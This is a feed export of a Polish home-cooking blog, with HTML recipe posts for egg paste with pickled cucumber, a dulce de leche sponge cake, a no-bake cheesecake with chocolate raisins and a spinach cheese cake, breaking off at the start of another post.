tag:blogger.com,1999:blog-25098007480593885152024-03-19T08:26:37.596+01:00Kuchcik gotuje - przepisy na pyszne ciasta i zdrowe obiadyPrzepisy na szybkie, tanie, smaczne i zdrowe dania, kuchnia domowa. Blog o kuchni i zdrowym gotowaniu. Przepisy na pyszne ciasto, szybki obiad, prosty deser bez pieczenia, śniadanie, kolacja. Zdrowe surówki i sałatki, potrawy z mięsa i ryb oraz przepisy na proste pieczywo, zupy i przetwory. Ze mną polubisz gotowanie, bo to jest łatwe i przyjemne.Annahttp://www.blogger.com/profile/01145382641589800203noreply@blogger.comBlogger901125tag:blogger.com,1999:blog-2509800748059388515.post-60112257648448413132024-03-19T08:25:00.002+01:002024-03-19T08:25:52.159+01:00Pasta jajeczna z ogórkiem kiszonym<h2 style="text-align: left;">Pasta jajeczna z ogórkiem kiszonym jest bardzo smacznym dodatkiem do pieczywa na śniadanie. Pasta z jajek jest łatwa do zrobienia i można ją również wykorzystać do faszerowania jajek na święta. Przepis na pastę jajeczną ma prosty skład i znany smak, który lubią prawie wszyscy.</h2><div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLHpooNihtG7GJsG98yZc3fVt62h3GG3kObkTEYkcchLTpN3ze50bkZsa8rKG2scs8g9gdQuaasPjJeyiTghp2vXOO5aESoPn9n5eE_MYT1Ko1Ac6aTlaRUbQOVXVS_ogJ2b2pOFXp0qJKQJ5enXjsPgBA3qXDKNueKIFqEuQNOssFcpyOH4JYUd93VKMZ/s1600/Pasta_jajeczna_z_kiszonym_og%C3%B3rkiem1.jpg" style="margin-left: 1em; margin-right: 1em;"><img alt="Farsz do jajek z kiszonym ogórkiem i szczypiorkiem" border="0" data-original-height="1200" data-original-width="1600" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLHpooNihtG7GJsG98yZc3fVt62h3GG3kObkTEYkcchLTpN3ze50bkZsa8rKG2scs8g9gdQuaasPjJeyiTghp2vXOO5aESoPn9n5eE_MYT1Ko1Ac6aTlaRUbQOVXVS_ogJ2b2pOFXp0qJKQJ5enXjsPgBA3qXDKNueKIFqEuQNOssFcpyOH4JYUd93VKMZ/w400-h300/Pasta_jajeczna_z_kiszonym_og%C3%B3rkiem1.jpg" title="Pasta jajeczna z ogórkiem kiszonym" width="400" /></a></div><span><a name='more'></a></span><div class="separator" style="clear: both; text-align: left;">Smaczna <b>pasta jajeczna</b> wyjdzie tylko z dobrej jakości jajek, najlepiej od kur z wolnego wybiegu. Jajek na pastę nie gotować zbyt długo, gdyż <b>pasta z jajek</b> nie będzie miała odpowiedniego smaku. Zbyt długo gotowane jajka, po obraniu mają ciemne obwódki żółtka, są bardziej suche i mają niezbyt przyjemny smak.</div><div class="separator" style="clear: both; text-align: left;"><div style="text-align: center;"><i><span style="font-size: large;">Jak ugotować jajka?</span></i></div>Średniej wielkości jajka gotuję 7 minut od chwili zagotowania się wody razem z jajkami. Jajka wkładam do zimnej wody i dodaję szczyptę soli, wtedy jest mniejsze ryzyko popękania skorupek i lepiej się później obierają. Jajka po ugotowaniu od razu wyjąć z wrzątku i zalać zimną wodą, aby zatrzymał się proces gotowania.</div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;">Ilość majonezu dostosować do swoich upodobań. <b>Pasta jajeczna z ogórkiem kiszonym</b> gotowa jest do jedzenia od razu po zrobieniu. Pastę z jajek najlepiej zjeść na świeżo po zrobieniu, gdyż później jest nieco mniej aromatyczna. Pasta świetnie sprawdza się jako <b>farsz do jajek</b>.</div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgmQ6CxJPfeAHjGlv6_wH2WFQg9kPS001lRB_O5IeRntQPUKSm3IQXXyYT1Geud1_iasnaAtsUiEzzO2yxSVHU-BECd-KYjoOhCD6g2i0QvJF2WkBu6EKiUOv81E4LCO-Ms0_za7ujGoKYYjKyWCIMR98dHx51cNq6AzoSuBKl_gBfrJnrEH_YHzyNbekYy/s1600/Pasta_jajeczna_z_og%C3%B3rkiem_kiszonym2.jpg" style="margin-left: 1em; margin-right: 1em;"><img alt="Pasta z jajek ze szczypiorkiem i kiszonym ogórkiem" border="0" data-original-height="1200" data-original-width="1600" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgmQ6CxJPfeAHjGlv6_wH2WFQg9kPS001lRB_O5IeRntQPUKSm3IQXXyYT1Geud1_iasnaAtsUiEzzO2yxSVHU-BECd-KYjoOhCD6g2i0QvJF2WkBu6EKiUOv81E4LCO-Ms0_za7ujGoKYYjKyWCIMR98dHx51cNq6AzoSuBKl_gBfrJnrEH_YHzyNbekYy/w400-h300/Pasta_jajeczna_z_og%C3%B3rkiem_kiszonym2.jpg" title="Pasta jajeczna z ogórkiem kiszonym" width="400" /></a></div><fieldset>Liczba porcji: 5<br />Czas przygotowania: 30 minut<br />Czas gotowania: 7 minut<br /><a title="Wartość kaloryczna 100 g potrawy jest szacunkowa. Produkty producentów mogą różnić się liczbą kcal.">Wartość kaloryczna:</a> 100 g = 161 kcal<br />Kategoria: przystawka<br />Dieta: wegetariańska<br /></fieldset><h3 style="text-align: center;">Przepis na pastę jajeczną z ogórkiem kiszonym</h3><h4 style="text-align: left;">Składniki na pastę z jajek z ogórkiem kiszonym:</h4></div><div><ul style="text-align: left;"><li>5 jajek (M)</li><li>2 ząbki czosnku</li><li>2 - 3 ogórki kiszone</li><li>2 łyżki majonezu</li><li>1 łyżeczka musztardy Dijon</li><li>mały pęczek szczypiorku lub cebula dymka ze szczypiorkiem</li><li>pieprz i sól do smaku</li></ul><i>
Do odmierzania używam: łyżki - 15 ml, łyżeczki - 5 ml.<br /></i>
<b><span style="font-size: large;">Opis krok po kroku:</span></b><br /><h4 style="text-align: left;">Jak zrobić pastę jajeczną z ogórkiem kiszonym?</h4></div><div><ol style="text-align: left;"><li>Jajka ugotować na twardo. Po ugotowaniu zalać zimną wodą i wystudzić. Średniej wielkości jajka gotować 7 minut od chwili zagotowania się wody razem z jajkami. Jajka włożyć do zimnej wody, dodać szczyptę soli i powoli doprowadzić do wrzenia, wtedy jest mniejsze ryzyko popękania skorupek i jajka lepiej się później będą obierać.</li><li> Jajka obrać ze skorupek i rozgnieść widelcem lub drobno posiekać.</li><li>Ogórki drobno posiekać, można nawet rozdrobnić blenderem. Jeśli ogórki mają grubą skórkę, to wcześniej je obrać.</li><li>Czosnek obrać i przecisnąć przez praskę.</li><li>Szczypiorek drobno pokroić razem z cebulką, jeśli jest cebula dymka.</li><li>Wszystkie składniki dokładnie wymieszać i doprawić do smaku pieprzem i solą.</li><li>Pasta z jajek najlepiej smakuje od razu po zrobieniu ze świeżym pieczywem. Świetnie sprawdza się również do faszerowania jajek.<br /><br /><b><span style="color: #990000;">Zobacz również:</span></b> <a href="https://www.kuchcikgotuje.pl/2020/05/pasta-z-wedzonej-makreli.html" target="_blank">pasta z wędzonej makreli.</a></li></ol></div>Kuchcik gotujehttp://www.blogger.com/profile/11500955236480559461noreply@blogger.com0tag:blogger.com,1999:blog-2509800748059388515.post-82249190661644832122024-03-16T08:20:00.002+01:002024-03-16T08:20:45.380+01:00Ciasto z masą krówkową i galaretką<div><h2 style="text-align: left;">Ciasto z masą krówkową i galaretką to pyszny deser na każdą okazję. Delikatne ciasto biszkoptowe przełożone umiarkowanie słodką masą z dodatkiem masy krówkowej kajmak. Prosty przepis na ciasto przekładane galaretką z kajmakiem. Zaskocz rodzinę i przyjaciół lekkim i pełnym smaku ciastem na deser.</h2><div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgp5KhcEcyzWARgV6jXlYVLZew4u1p5keomRQGtzfpqpUDKnNV5c873OCyQSeJKtn0tqLrH2cmGyuxDCgKP2DCv9hyIX3R9rrXIhbKqCCm7-4LixDwaYR8vSYWxMdc4krpl0flPxf0yqiMEcW9xGu0SJDAWyelYIzQLOnoXSZI12S_qrthBVHC3oDDBTmFZ/s1600/Ciasto_z_masa_krowkowa_i_galaretka1.jpg" style="margin-left: 1em; margin-right: 1em;"><img alt="Biszkopt z masą krówkową i polewą z czekolady" border="0" data-original-height="1200" data-original-width="1600" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgp5KhcEcyzWARgV6jXlYVLZew4u1p5keomRQGtzfpqpUDKnNV5c873OCyQSeJKtn0tqLrH2cmGyuxDCgKP2DCv9hyIX3R9rrXIhbKqCCm7-4LixDwaYR8vSYWxMdc4krpl0flPxf0yqiMEcW9xGu0SJDAWyelYIzQLOnoXSZI12S_qrthBVHC3oDDBTmFZ/w400-h300/Ciasto_z_masa_krowkowa_i_galaretka1.jpg" title="Ciasto z masą krówkową i galaretką" width="400" /></a></div><span><a name='more'></a></span><div class="separator" style="clear: both; text-align: left;">Przepis na <b>ciasto z masą krówkową</b> i galaretką jest bardzo łatwy do wykonania, gdyż <b>ciasto biszkoptowe</b> robi się z całych jajek, bez oddzielania żółtek od białek. <b>Ciasto przekładane galaretką</b> z kajmakiem jest niezbyt słodkie. Idealne ciasto na święta i każdą inną okazję.</div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;">Przygotowując ciasto z masą krówkową i galaretką, należy dopilnować procesu tężenia galaretki przed dodaniem jej do masy. Galaretka powinna być jeszcze płynna, ale przyklejać się do łyżki i ścianek naczynia. Masę z galaretką również trzeba dość szybko wykładać na ciasto, aby dobrze połączyła oba blaty ciasta biszkoptowego.</div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiwbD-acOp0LSm8HN9g7njhcNkV4SpP66HVD1efnRFe9RzFhkBXxlure6EC1x0LSzZYtU9rsEvv6bpSOqn4oqlm8fUGXnE4r9BISHoAIE1_m5IKS4bO7XKzv1D9RqDtWAyqpog7R3r0jZBe5vJh13rDmaFVvpnWxYzCZydk-pcoP5ZHR5RJUs83PxaQIRaZ/s1600/Ciasto_z_masa_krowkowa_i_galaretka3.jpg" style="margin-left: 1em; margin-right: 1em;"><img alt="Ciasto przełożone kajmakiem z polewą czekoladową" border="0" data-original-height="1200" data-original-width="1600" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiwbD-acOp0LSm8HN9g7njhcNkV4SpP66HVD1efnRFe9RzFhkBXxlure6EC1x0LSzZYtU9rsEvv6bpSOqn4oqlm8fUGXnE4r9BISHoAIE1_m5IKS4bO7XKzv1D9RqDtWAyqpog7R3r0jZBe5vJh13rDmaFVvpnWxYzCZydk-pcoP5ZHR5RJUs83PxaQIRaZ/w400-h300/Ciasto_z_masa_krowkowa_i_galaretka3.jpg" title="Ciasto z masą krówkową i galaretką" width="400" /></a></div><fieldset>Liczba porcji: 20<br />Czas przygotowania: 40 minut<br />Czas pieczenia: 30 minut<br /><a title="Wartość kaloryczna 100 g potrawy jest szacunkowa. Produkty producentów mogą różnić się liczbą kcal.">Wartość kaloryczna:</a> 100 g = 322 kcal<br />Kategoria: deser<br />Dieta: wegetariańska<br />Forma: 24 cm x 29 cm x 7 cm lub nieco większa</fieldset><h3 style="text-align: center;">Przepis na ciasto z masą krówkową i galaretką</h3><h4 style="text-align: left;">Składniki na ciasto z masą krówkową i galaretką:</h4><div><div style="text-align: left;"><b>Ciasto biszkoptowe:</b></div><div><ul style="text-align: left;"><li>7 jajek</li><li>220 g cukru</li><li>200 g mąki pszennej</li><li>50 g mąki ziemniaczanej</li><li>1 łyżeczka proszku do pieczenia</li><li>3 łyżki oleju</li><li>1 łyżka octu</li></ul></div><div><b>Masa z kajmakiem:</b></div><div><ul style="text-align: left;"><li>300 ml śmietany 30%</li><li>2 łyżki cukru pudru</li><li>1 galaretka cytrynowa lub pomarańczowa</li><li>460 g masy krówkowej kajmak (1 puszka)<br /><b>Polewa do ciasta:</b></li><li>150 g czekolady deserowej z 60% kakao</li><li>70 g śmietanki 30%<br />Dodatkowo:</li><li>orzechy, migdały, wiórki kokosowe do dekoracji</li></ul></div><i>
Do odmierzania używam: łyżki - 15 ml, łyżeczki - 5 ml.</i><br />
<b><span style="font-size: large;">Opis krok po kroku:</span></b><br /><h4 style="text-align: left;">Jak zrobić ciasto z masą krówkową i galaretką?</h4></div><div><ol style="text-align: left;"><li>Jajka ubijać stopniowo dosypując cukier. Ubijać do czasu, aż masa będzie puszysta, dość sztywna i jasna.</li><li>Miksują na wolnych obrotach miksera dodawać po łyżce olej.</li><li>Następnie dodawać partiami przesiane z proszkiem do pieczenia obie mąki i na koniec ocet.</li><li>Po dodaniu mąki masy zbyt intensywnie i długo nie mieszać, tylko do czasu połączenia się składników i dokładnego wymieszania mąki.</li><li>Ciasto przełożyć do formy wyłożonej papierem do pieczenia i wyrównać.</li><li>Piec w piekarniku nagrzanym góra-dół do 170 stopni C około 30 minut, do tzw. suchego patyczka.</li><li>Ciasto po upieczeniu wystudzić, przekroić na 2 blaty, które przełożyć masą z kajmakiem.</li><li>Wierzch polać polewą i udekorować.</li><li>Ciasto z masą krówkową wstawić do lodówki na około 4 godziny, aby masa stężała.</li></ol><b>Masa z kajmakiem:</b><br /><ol style="text-align: left;"><li>Galaretkę rozpuścić w 200 ml wrzątku i wystudzić.</li><li>Śmietankę ubić na sztywno z cukrem pudrem.</li><li>Pod koniec ubijania zacząć dodawać stopniowo masę krówkową kajmak.</li><li>Do masy krówkowej ze śmietanką wmieszać lekko tężejącą galaretkę i od razu przełożyć nią ciasto biszkoptowe, aby masa zbyt mocno nie stężała.</li></ol><b>Polewa czekoladowa:</b><br /><ol style="text-align: left;"><li>Czekoladę połamać na mniejsze kawałki, dodać śmietankę i rozpuścić ją w kąpieli wodnej lub podgrzewając na minimalnej mocy palnika.</li><li>Czekoladę podczas rozpuszczania ciągle mieszać i uważać, aby jej zbytnio nie przegrzać.</li><li>Rozpuszczoną polewą od razu polać ciasto.<br /><br /><b><span style="color: #990000;">Zobacz również:</span></b> <a href="https://www.kuchcikgotuje.pl/2018/12/ciasto-bez-pieczenia-z-kajmakiem-i.html" target="_blank">ciasto bez pieczenia z kajmakiem i kokosem.</a></li></ol></div></div></div>Kuchcik gotujehttp://www.blogger.com/profile/11500955236480559461noreply@blogger.com0tag:blogger.com,1999:blog-2509800748059388515.post-32204247733383146312024-03-14T07:04:00.002+01:002024-03-14T07:05:10.439+01:00Sernik bez pieczenia z rodzynkami w czekoladzie<h2 style="text-align: left;">Prosty i łatwy do przygotowania sernik bez pieczenia z rodzynkami w czekoladzie. Sernik na zimno z pysznymi rodzynkami w czekoladzie. Umiarkowanie słodki sernik z masą kajmak i galaretkami. Sernik z masą krówkową świetnie sprawdzi się jako deser na święta, jak i na każdą inną okazję. Przepis na ciasto bez pieczenia, które bardzo szybko się robi.</h2><div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjZxbJwW11A8m6eDp62Fu8XJ1QfHxxxUiZ2fUic-9ezq3L53L5KUIsXjYFhci2F0JL9rscUNlp3rwdGa1GSr08mekiXXySYI3lpv6IkzCyoW8ltsmZm2qztYeYrzwrcx6HAk6JloaIpNw9cWtjMGnwpDmAo5MvixIT9QM_DXSQi-mANAkO3aqe3b5RBj1b9/s1600/Sernik_bez_pieczenia_z_rodzynkami_w_czekoladzie1.jpg" style="margin-left: 1em; margin-right: 1em;"><img alt="Sernik z kajmakiem i rodzynkami w czekoladzie bez pieczenia" border="0" data-original-height="1200" data-original-width="1600" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjZxbJwW11A8m6eDp62Fu8XJ1QfHxxxUiZ2fUic-9ezq3L53L5KUIsXjYFhci2F0JL9rscUNlp3rwdGa1GSr08mekiXXySYI3lpv6IkzCyoW8ltsmZm2qztYeYrzwrcx6HAk6JloaIpNw9cWtjMGnwpDmAo5MvixIT9QM_DXSQi-mANAkO3aqe3b5RBj1b9/w400-h300/Sernik_bez_pieczenia_z_rodzynkami_w_czekoladzie1.jpg" title="Sernik bez pieczenia z rodzynkami w czekoladzie" width="400" /></a></div><span><a name='more'></a></span><div class="separator" style="clear: both; text-align: left;"><b>Sernik bez pieczenia z rodzynkami</b> w czekoladzie jest jednym z łatwiejszych do zrobienia ciast na deser. Prosty skład i jeszcze prostszy sposób przygotowania tego <b>ciasta bez pieczenia</b>, zawsze decyduje o jego wyborze do zrobienia na deser. Nie tylko prostota wykonania, ale i rewelacyjny smak zachęca, aby zrobić właśnie taki sernik na zimno. <b>Przepis na sernik bez pieczenia</b> zawsze wychodzi i wszystkim smakuje, a do tego świetnie się kroi i przechowuje.</div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;">Jedyną trudność w przygotowaniu sernika z kajmakiem bez pieczenia widzę w dopilnowaniu, aby galaretka zbyt szybko nie stężała. Niech Was nie skusi rozrobienie obu galaretek w jednym naczyniu, gdyż wtedy trudno będzie, tak szybko wmieszać i wyłożyć masę na herbatnikach, zanim stężeje.</div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhe3mhIoUuca5LBWBxd7KTEPBphWJ2ZvTW5PfCRafOJ6F1io0tcTyZepvFswk3-bE5Ig750LRTfg5NgrAuUDU5aLNRlkJ0XBi50WLDTKfDcvVtmZyr7GMHFn3trsuxR5ExNVhg-Sph1igD13XGjm2Us5cZmnOn6LF7hUJ36Cd2_zQZvvGL1rF_hWP1YJ7fd/s1600/Sernik_bez_pieczenia_z_rodzynkami_w_czekoladzie.jpg" style="margin-left: 1em; margin-right: 1em;"><img alt="Sernik na zimno z czekoladą i rodzynkami" border="0" data-original-height="1200" data-original-width="1600" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhe3mhIoUuca5LBWBxd7KTEPBphWJ2ZvTW5PfCRafOJ6F1io0tcTyZepvFswk3-bE5Ig750LRTfg5NgrAuUDU5aLNRlkJ0XBi50WLDTKfDcvVtmZyr7GMHFn3trsuxR5ExNVhg-Sph1igD13XGjm2Us5cZmnOn6LF7hUJ36Cd2_zQZvvGL1rF_hWP1YJ7fd/w400-h300/Sernik_bez_pieczenia_z_rodzynkami_w_czekoladzie.jpg" title="Sernik bez pieczenia z rodzynkami w czekoladzie" width="400" /></a></div><fieldset>Liczba porcji: 24<br />Czas przygotowania: 35 minut<br />Czas tężenia: 6 godzin<br /><a title="Wartość kaloryczna 100 g potrawy jest szacunkowa. Produkty producentów mogą różnić się liczbą kcal.">Wartość kaloryczna:</a> 100 g = 267 kcal<br />Kategoria: deser<br />Dieta: wegetariańska<br />Forma: 33 cm x 23 cm x 7 cm</fieldset><h3 style="text-align: center;">Przepis na sernik bez pieczenia z rodzynkami w czekoladzie</h3><h4 style="text-align: left;">Składniki na sernik z rodzynkami w czekoladzie bez pieczenia:</h4></div><div><ul style="text-align: left;"><li>1000 g sera białego mielonego (u mnie z wiaderka)</li><li>400 g masy krówkowej kajmak</li><li>2 galaretki pomarańczowe (po 77 g każda)</li><li>50 g cukru pudru</li><li>50 g rodzynek</li><li>150 ml wódki</li><li>200 g czekolady deserowej z co najmniej 50% kakao</li><li>100 ml śmietanki 30%</li><li>500 g herbatników kakaowych</li></ul>
<b><span style="font-size: large;">Opis krok po kroku:</span></b><br /><h4 style="text-align: left;">Jak zrobić sernik bez pieczenia z rodzynkami w czekoladzie?</h4><ol style="text-align: left;"><li>Rodzynki zalać wódką i pozostawić na 12 godzin, aby napęczniały. Po tym czasie rodzynki odcedzić z płynu. Jeśli ciasto będą jadły dzieci, to rodzynki wystarczy moczyć w wodzie przez około 50 minut.</li><li>Galaretki rozpuścić oddzielnie w 200 ml wrzątku każdą i wystudzić.</li><li>Ser zmiksować z cukrem pudrem i masą krówkową, następnie podzielić na 2 równe części.</li><li>Do jednej części wmiksować wystudzoną jedną, lekko tężejącą galaretkę.</li><li>Masę od razu wyłożyć do formy wyłożonej herbatnikami i przykryć warstwą herbatników. Ciasto wstawić na chwilę do lodówki.</li><li>Do drugiej części masy serowej wmiksować drugą wystudzoną i lekko tężejącą galaretkę.</li><li>Masę wyłożyć na schłodzone ciasto, wyrównać i przykryć następną warstwą herbatników. Wstawić na około 10 minut do lodówki.</li><li>Czekoladę rozpuścić ze śmietanką i delikatnie wymieszać z odsączonymi z płynu rodzynkami.</li><li>Rodzynki pokryte czekoladą od razu rozłożyć równomiernie na wierzch sernika.</li><li>Sernik wstawić do lodówki na około 6 godzin, aby zastygł.<br /><br /><b><span style="color: #990000;">Zobacz również:</span></b> <a href="https://www.kuchcikgotuje.pl/2023/01/sernik-bez-pieczenia-z-kajmakiem-i.html" target="_blank">sernik bez pieczenia z kajmakiem i galaretką z kawy.</a></li></ol></div>Kuchcik gotujehttp://www.blogger.com/profile/11500955236480559461noreply@blogger.com0tag:blogger.com,1999:blog-2509800748059388515.post-88235953025825688672024-03-08T09:21:00.002+01:002024-03-08T09:24:14.883+01:00Ciasto szpinakowe z serem<h2 style="text-align: left;">Ciasto szpinakowe z serem jest smacznym i pięknie wyglądającym ciastem na talerzu. Ciasto ze szpinakiem jest również łatwe do przygotowania. Przepis na ciasto ze szpinakiem przekładane serem ma prosty skład i łatwo dostępne składniki. Ciasto szpinakowe z serem to taka zmodyfikowana, mniej kremowa forma znanego ciasta leśny mech. Idealne ciasto na święta i inne mniej i bardziej wystawne przyjęcia.</h2><div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgCyRExPyn8qK0Bi97oSkN856sQgZTkzhBQe9BwlNKLRkvSaVgvfJvQ5xnhoJiSn0JaiJw5SCf9y2_O71YoaMSwRaAz9i3wJXxdN6kozmAqcSI5711g0X00I6XVx6oH3cTgmHLcsAtbF2JELDwf5iIUtKQTSoXjsGg0q_MGiP8Vy6WbCYTuF4LlVRHv6FM3/s1600/Ciasto%20szpinakowe%20z%20serem.jpg" style="margin-left: 1em; margin-right: 1em;"><img alt="Ciasto ze szpinakiem przekładane serem" border="0" data-original-height="1200" data-original-width="1600" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgCyRExPyn8qK0Bi97oSkN856sQgZTkzhBQe9BwlNKLRkvSaVgvfJvQ5xnhoJiSn0JaiJw5SCf9y2_O71YoaMSwRaAz9i3wJXxdN6kozmAqcSI5711g0X00I6XVx6oH3cTgmHLcsAtbF2JELDwf5iIUtKQTSoXjsGg0q_MGiP8Vy6WbCYTuF4LlVRHv6FM3/w400-h300/Ciasto%20szpinakowe%20z%20serem.jpg" title="Ciasto szpinakowe z serem" width="400" /></a></div><span><a name='more'></a></span><div class="separator" style="clear: both; text-align: left;"><b>Ciasto szpinakowe</b> z serem jest raczej dość łatwe do zrobienia. Przygotowując <b>ciasto ze szpinakiem,</b> należy jednak pamiętać, aby szpinak po rozmrożeniu dokładnie odcisnąć z wody. <b>Ciasto szpinakowe z serem</b> nie lubi długiego miksowania po dodaniu mąki, mieszać tylko do połączenia się składników. Z mąki pod wpływem intensywnego i długiego mieszania uwalnia się dużo wiązań glutenu, który po upieczeniu sprawia, że ciasto jest zbyt twarde.</div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;">Upieczone ciasto ze szpinakiem przekładane serem nie ma smaku ani zapachu szpinaku i trzeba bardzo się postarać, aby to odkryć. Przepis na lżejszą wersję znanego wszystkim ciasta leśny mech. <b>Ciasto z serem</b>, mrożonym szpinakiem i truskawkami sprawdzi się jako deser o każdej porze roku.</div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhevMteoS_Rm4K2jI_9wfThyphenhyphenImmPC_t4rYFcaFFDcz2FfPhSHwPGXJUNiPq12GmGp-Lv6hwckchpeg5BvYlMFvYrHVjpSfQLjiAGiOUub5vxcICvpfdZG5aN9Qj0jNH83rUYbo8bpL-nkZT8yZjwTYTuKg1mPk9IvUXNQ5MRDHc-tvGkUZD5z20TiKfjct1/s1600/Ciasto_szpinakowe_z_serem1.jpg" style="margin-left: 1em; margin-right: 1em;"><img alt="Ciasto leśny mech ze szpinakiem i masą z sera" border="0" data-original-height="1200" data-original-width="1600" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhevMteoS_Rm4K2jI_9wfThyphenhyphenImmPC_t4rYFcaFFDcz2FfPhSHwPGXJUNiPq12GmGp-Lv6hwckchpeg5BvYlMFvYrHVjpSfQLjiAGiOUub5vxcICvpfdZG5aN9Qj0jNH83rUYbo8bpL-nkZT8yZjwTYTuKg1mPk9IvUXNQ5MRDHc-tvGkUZD5z20TiKfjct1/w400-h300/Ciasto_szpinakowe_z_serem1.jpg" title="Ciasto szpinakowe z serem" width="400" /></a></div><fieldset>Liczba porcji: 16<br />Czas przygotowania: 45 minut<br />Czas pieczenia: 50 minut<br /><a title="Wartość kaloryczna 100 g potrawy jest szacunkowa. Produkty producentów mogą różnić się liczbą kcal.">Wartość kaloryczna:</a> 100 g = 177 kcal<br />Kategoria: deser<br />Dieta: wegetariańska<br />Forma: 24 cm x 29 cm x 7 cm</fieldset><h3 style="text-align: center;">Przepis na ciasto ze szpinakiem i serem</h3><h4 style="text-align: left;">Składniki na ciasto ze szpinakiem i serem:</h4><div><ul style="text-align: left;"><li>4 jajka (L)</li><li>200 g cukru</li><li>300 g mąki pszennej typ 450</li><li>25 g mąki ziemniaczanej</li><li>2 łyżeczki proszku do pieczenia</li><li>150 ml oleju rzepakowego</li><li>450 g mrożonego szpinaku<br /><b>Masa serowa do ciasta:</b></li><li>1 kg mielonego sera białego (może być z wiaderka)</li><li>1 galaretka agrestowa</li><li>4 łyżki cukru pudru<br /><b>Masa truskawkowa:</b></li><li>450 g mrożonych truskawek</li><li>1 galaretka truskawkowa</li><li>4 łyżki cukru trzcinowego</li><li>1 łyżka soku z cytryny<br />Dodatkowo:</li><li>2 łyżki wiórków kokosowych do posypania</li></ul><i>
Do odmierzania używam: łyżki - 15 ml, łyżeczki - 5 ml.</i><br />
<b><span style="font-size: large;">Opis krok po kroku:</span></b><br /><h4 style="text-align: left;">Jak zrobić ciasto ze szpinakiem i serem?</h4></div><div><ol style="text-align: left;"><li>Szpinak rozmrozić i na sitku dokładnie odcisnąć z wody.</li><li>Jajka zmiksować z cukrem, aby powstała puszysta i jasna masa. Podczas miksowania cukier dodawać stopniowo, aby masa powoli stawała się puszysta. Miksować do czasu, aż nie będzie wyczuwalnych kryształków cukru.</li><li>Do puszystej masy z jajek cienką strużką dodawać olej i cały czas miksować na niskich obrotach miksera.</li><li>Następnie po kilka łyżek dodawać przesiane z proszkiem do pieczenia obie mąki i delikatnie, ale dokładnie mieszać. W masie nie powinno być widocznych grudek mąki.</li><li>Na koniec dodać szpinak i delikatnie, ale dokładnie wymieszać.</li><li>Masę przełożyć do formy wyłożonej papierem do pieczenia.</li><li>Piec w piekarniku nagrzanym góra-dół do 180 stopni C około 50 minut, do tzw. suchego patyczka.</li><li>Po upieczeniu ciasto wystudzić i przekroić na 2 blaty, które przełożyć połową masy serowej. Drugą połowę sera rozłożyć na wierzch ciasta i wyrównać. Ciasto wstawić na około 15 minut do lodówki.</li><li>Po krótkim schłodzeniu na serze rozsmarować wystudzoną masę z truskawek i udekorować wiórkami kokosowymi.</li></ol><div style="text-align: left;"><b>Masa serowa do ciasta:</b></div><ol style="text-align: left;"><li>Galaretkę agrestową rozpuścić w 200 ml wrzątku i wystudzić.</li><li>Ser zmiksować z cukrem pudrem.</li><li>Nie przerywając miksowania do sera dodawać stopniowo lekko tężejącą galaretkę. Miksować na wolnych obrotach do czasu połączenia się składników.</li><li>Masą serową od razu przekładać ciasto, gdyż dość szybko zastyga.</li></ol><div style="text-align: left;"><b>Masa truskawkowa:</b></div><ol style="text-align: left;"><li>Truskawki gotować z cukrem i sokiem z cytryny do czasu, aż się rozpadną i będzie w miarę jednolita konsystencja.</li><li>Do masy dodać około 200 ml wrzątku, jeśli masa jest bardzo gęsta i nie ma w niej wystarczającej ilości soku, w którym rozpuści się galaretka.</li><li>Truskawki zdjąć z palnika i ciągle mieszając rozpuścić w nich galaretkę truskawkową (nie gotować!).</li><li>Masę po wystudzeniu wyłożyć na ser. Pilnować masy, gdyż dość szybko tężeje.<br /><br /><b><span style="color: #990000;">Zobacz również: </span></b><a href="https://www.kuchcikgotuje.pl/2018/09/ciasto-lesny-mech.html" target="_blank">ciasto leśny mech.</a></li></ol></div></div>Kuchcik gotujehttp://www.blogger.com/profile/11500955236480559461noreply@blogger.com1tag:blogger.com,1999:blog-2509800748059388515.post-36892841802843646412024-03-03T08:20:00.003+01:002024-03-03T08:20:28.546+01:00Ciasto ucierane z serem<h2 style="text-align: left;">Szybkie do przygotowania ciasto ucierane z serem. Ciasto z serem, które sprawdzi się na deser na co dzień i od święta. Prosty placek z serem z wiaderka z łatwością zrobi nawet osoba mało doświadczona w wypiekaniu ciasta. Przepis na łatwy sernik na cieście ucieranym można zrobić bez dużego wysiłku z naszej strony.</h2><div><div class="separator" style="clear: both; text-align: center;"><a 